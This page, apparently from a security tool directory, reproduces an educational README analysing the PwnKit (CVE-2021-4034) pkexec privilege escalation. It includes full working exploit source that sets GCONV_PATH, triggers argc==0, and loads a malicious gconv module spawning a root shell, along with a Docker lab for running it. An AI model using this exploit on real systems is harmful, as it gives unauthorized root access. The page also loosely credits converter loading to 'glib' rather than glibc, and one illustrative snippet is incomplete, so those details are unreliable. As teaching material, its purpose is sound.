Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
WHS4_CVE-2021-4034 — CVE-2021-4034(PwnKit)polkitのpkexecのローカル権限昇格脆弱性の教育用PoCと分析。Dockerベースのラボで実践的なエクスプロイトと防御演習を提供。 | Kitploit
ツール/GitHubGitHub/krleejihyeong/whs4_cve-2021-4034
特権昇格脆弱性分析エクスプロイトCTFペネトレーションテスト学習と教育バイナリエクスプロイトラボと実践
GitHubkrleejihyeong/whs4_cve-2021-4034

WHS4_CVE-2021-4034

CVE-2021-4034(PwnKit)polkitのpkexecのローカル権限昇格脆弱性の教育用PoCと分析。Dockerベースのラボで実践的なエクスプロイトと防御演習を提供。

リポジトリを見る
132ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-4034 (PwnKit) - ローカル権限昇格PoC

🔗 元のプロジェクト: berdav/CVE-2021-4034
このプロジェクトは、元のプロジェクトを基に教育目的で分析・修正したバージョンです。
MITライセンス準拠 | White Hat School教育課題


📋 概要

CVE-2021-4034は、Linux policykit-1(PolicyKit)のローカル権限昇格の脆弱性です。一般ユーザーがpkexecを引数なしで実行し、プロセスメモリ構造の欠陥を利用することで、本来は除去されるべき環境変数文字列をglibが再参照するように仕向け、悪意のある.soファイルをロードさせてroot権限を取得することができます。

⚠️ 教育目的専用: このコードは修正されたシステムでのみ使用してください。
実際のシステムへの攻撃に使用すると、法的責任が生じる可能性があります。


🎯 脆弱性の要約

項目内容
CVE IDCVE-2021-4034
脆弱性名PwnKit
影響を受けるバージョンpolkit 0.105以前のパッチが適用されていないバージョン全般(テスト環境の基準: Ubuntu 20.04のpolicykit-1 0.105-26ubuntu1)
脆弱性タイプLocal Privilege Escalation (LPE)
深刻度Critical (CVSS 7.8)
パッチバージョンpolicykit-1 >= 0.105-26ubuntu1.1
発見日2021年6月(公開は2022年1月)

Ubuntuだけの問題だと誤解されがちですが、pkexec自体のロジック欠陥であるため、polkitを使用しているディストリビューションであればほとんど影響を受けます。Dockerテスト環境がUbuntu 20.04のため、上の表にはそのバージョンも併記しました。


🔴 脆弱性の核心

最初に分析したときは「環境変数を検証していないために発生する問題」だと思っていましたが、ソースコードとパッチコミットを一緒に見ると、順序が少し違うことがわかりました。本当の原因は別にあり、環境変数の問題はその原因によって発生する結果に近いものです。以下は、その流れを原因の順に整理したものです。

1. pkexecとは?

pkexecは、PolicyKitを通じて権限昇格を要求するSUID-rootプログラムです。

# 예: root 권한으로 명령어 실행
pkexec /bin/id
pkexec systemctl restart service

一般ユーザーが管理者権限で特定のタスクを実行するときに使用されます。


2. 真の根本原因: pkexecがargc == 0の場合を例外処理していない

pkexecのmain()関数は、コマンドライン引数を処理する部分で、引数が一つもなく実行された場合(argc == 0)を検証していません。 これがこの脆弱性の本当の始まりです。

  • 正常な実行: argv = {"pkexec", "명령어", NULL} → argc >= 1
  • 攻撃時の実行: execve("/usr/bin/pkexec", {NULL}, env) → argc == 0

argcが0の場合、argvリストには終端を示すNULLだけが残ります。しかし、pkexecの内部ロジックは、この状況でも存在しないargv[1]を読み書きしようとします。問題は、Linuxがプロセスを実行するときにargv配列とenvp(環境変数)配列をメモリ上ですぐ隣に並べて配置する点です。そのため、範囲外のargv[1]は実際にはenvp[0]、つまり最初の環境変数をそのまま指すことになります。

정상 상황:  argv = [ "pkexec" | NULL ]
공격 상황:  argv = [ NULL ]                 ← argc = 0
                    ↑
             존재하지 않는 argv[1]에 접근
                    ↓
      메모리상 바로 뒤에 있는 envp[0]을 읽고 쓰게 됨 (out-of-bounds)

なぜこれが危険なのか:

  • 本来、ld.soはSUIDプログラム(pkexec)が実行される前に、GCONV_PATHやLD_PRELOADのような危険な環境変数を安全でないと判断して除去します。
  • しかし、上記のOOB動作により、除去された文字列が「環境変数として復元」されるのではなく、argvポインタ側でその文字列を再参照可能な状態になります。 つまり、値が復活するのではなく、その値を指すポインタの接続が再び作られることに近いです。
  • 実際のパッチコミットも、argc < 1の場合に即座に終了する検証ロジックを追加する形でこの部分を修正しました。(CWE-125 out-of-bounds read、CWE-787 out-of-bounds writeに該当)

📌 まとめると: 環境変数の未検証は「攻撃が通用する条件」であり、本当の脆弱性(root cause)はpkexecがargc == 0の場合を処理していないことです。下の3は、この原因によって発生する結果側です。


3. 結果: 除去されるべき文字列が再参照可能になる

2で説明したOOB動作により、pkexecがglibを初期化する過程で、この文字列が検証されないまま再び使用されることになります。

// CVE-2021-4034_exploit.c
char * const env[] = {
    "GCONV_PATH=.",      // 원래는 ld.so가 걸러냈어야 함
    "CHARSET=PWNKIT",    // 존재하지 않는 인코딩
};

execve("/usr/bin/pkexec", args, env);  // argv는 비워서 argc=0을 만듦

問題:

  • 2のOOBにより、この文字列が再参照可能な状態になり、glib初期化段階までそのまま流れ込む
  • glib側では、この値が元々あった正常な環境変数なのか、攻撃者が復活させたものなのかを区別する方法がない

4. glibのConverterロードメカニズムの悪用

ここで重要なのは、glib自体には何の落ち度もないという点です。GCONV_PATHが設定されていれば、そのパスからconverterを探すのはglibの正常な動作です。問題は、pkexecがsecure execution状態(危険な環境変数が除去された状態)をすでに壊してしまった後だということです。glibはただ正常に動作しただけなのに、その正常な動作が悪用される構造です。

  1. CHARSET環境変数の確認

    CHARSET=PWNKIT
    
  2. gconv-modulesファイルでconverter定義を検索

    module UTF-8// PWNKIT// pwnkit 1
    
  3. GCONV_PATHから.soファイルをロード

    GCONV_PATH=. → 현재 디렉토리에서 pwnkit.so 검색
    
  4. .soファイルの初期化関数が自動実行

    // pwnkit.c - .so 파일 로드 시 자동으로 실행됨
    void gconv_init(void *step)
    {
        setuid(0);           // root 권한 획득
        setgid(0);
        execve("/bin/sh");   // root shell 실행!
    }
    

gconv_initは「コンストラクタ関数」と呼ぶこともありますが、厳密にはCの__attribute__((constructor))とは異なります。正確にはgconvモジュールインターフェースで定義された初期化関数であり、glibがdlopenで.soをロードした後、この関数を明示的に呼び出すものです。


5. 攻撃全体の流れ

┌─────────────────────────────────────┐
│ 일반 사용자 (uid=1000)               │
└─────────────────────────────────────┘
          │
          │ 1. argv 비우고 pkexec 실행 (argc=0)
          │    + 악의적 환경변수 설정
          │    GCONV_PATH=.  /  CHARSET=PWNKIT
          ↓
┌─────────────────────────────────────┐
│ pkexec 실행                          │
│ argc 검증 없음 → OOB → 문자열 재참조 │
└─────────────────────────────────────┘
          │
          │ 2. glib이 정상 동작대로 처리
          │    CHARSET=PWNKIT 인코딩 검색
          │    GCONV_PATH=.에서 converter 찾음
          ↓
┌─────────────────────────────────────┐
│ pwnkit.so 로드                       │
│ (현재 디렉토리의 악의적 .so 파일)     │
└─────────────────────────────────────┘
          │
          │ 3. gconv 초기화 함수 자동 실행 (root 권한!)
          ↓
┌─────────────────────────────────────┐
│ root shell 획득 ✅                   │
│ uid=0(root) gid=0(root)              │
└─────────────────────────────────────┘

🚀 クイックスタート

必須要件

  • Docker(またはDocker Desktop)
  • git
  • Linux環境(またはWSL 2)

実行コマンド

# 1. 프로젝트 받기
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034

# 2. 최신 버전 확인
git pull origin main

# 3. 빌드 (캐시 없이)
docker compose build --no-cache

# 4. 실행
docker compose up

docker system prune -a --volumes --forceは、キャッシュやボリュームが壊れて上記の方法でうまくいかない場合にのみ使用することをお勧めします。システム全体のDockerキャッシュを削除するかなり攻撃的なコマンドなので、他のプロジェクトのキャッシュも一緒に消えてしまう可能性があります。関連内容は、下の「発生した問題と解決方法」に別途まとめています。

期待される結果

pwnkit  | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit  | # id
pwnkit  | uid=0(root) gid=0(root) groups=0(root)  ← 성공! ✅

実際の結果


📁 プロジェクト構造

WHS4_CVE-2021-4034/
├── docker-compose.yml          # Docker Compose 설정
├── Dockerfile                   # 취약 Ubuntu 20.04 환경
├── start.sh                     # 컨테이너 초기화 및 자동 실행
├── Makefile                     # 빌드 설정
├── CVE-2021-4034_exploit.c      # Exploit 코드 (pkexec 호출)
├── pwnkit.c                     # 악의적 .so 파일 (권한 상승)
├── gconv-modules                # glib converter 매핑
├── README.md                    # 이 파일
└── LICENSE                      # MIT License

💻 PoCコード分析

CVE-2021-4034_exploit.c

#include <unistd.h>

int main(int argc, char *argv[])
{
    // pkexec에 실행할 프로그램을 지정하지 않음
    // (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
    char * const args[] = {
        NULL
    };

    // 🔴 검증되지 않은 악의적 환경변수
    // argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
    char * const env[] = {
        "GCONV_PATH=.",          // converter 경로 (현재 디렉토리)
        "CHARSET=PWNKIT",        // 존재하지 않는 인코딩
        "SHELL=/bin/sh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // pkexec 실행 (인자 없이 → argc=0 트리거)
    execve("/usr/bin/pkexec", args, env);

    return 0;
}

要点:

  • argsにpkexec自体の名前さえ入れず、argcが0になるようにしている → 根本原因(argcの未検証)をトリガー
  • GCONV_PATH=. : OOBで再参照可能になった後、glibがこのパスでconverterを検索
  • CHARSET=PWNKIT : glibがこのエンコーディングのconverterを見つけるように誘導

pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}

// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
    char * const args[] = {
        "/bin/sh",      // root shell 실행
        NULL
    };
    char * const env[] = {
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // root 권한 명시적 설정 (이미 root이지만)
    setuid(0);
    setgid(0);

    // root shell 실행 ← 권한 상승 성공!
    execve(args[0], args, env);

    exit(0);
}

要点:

  • gconv_init()はCのconstructor attributeではなく、gconvモジュールインターフェースの仕様に従ってglibがdlopenの後に直接呼び出す初期化関数
  • pkexecはroot権限で実行されるため、この関数もroot権限で実行される
  • したがって、setuid(0)の後にシェルを実行すると、rootシェルをそのまま取得できる

✅ 検証結果

ツールをダウンロード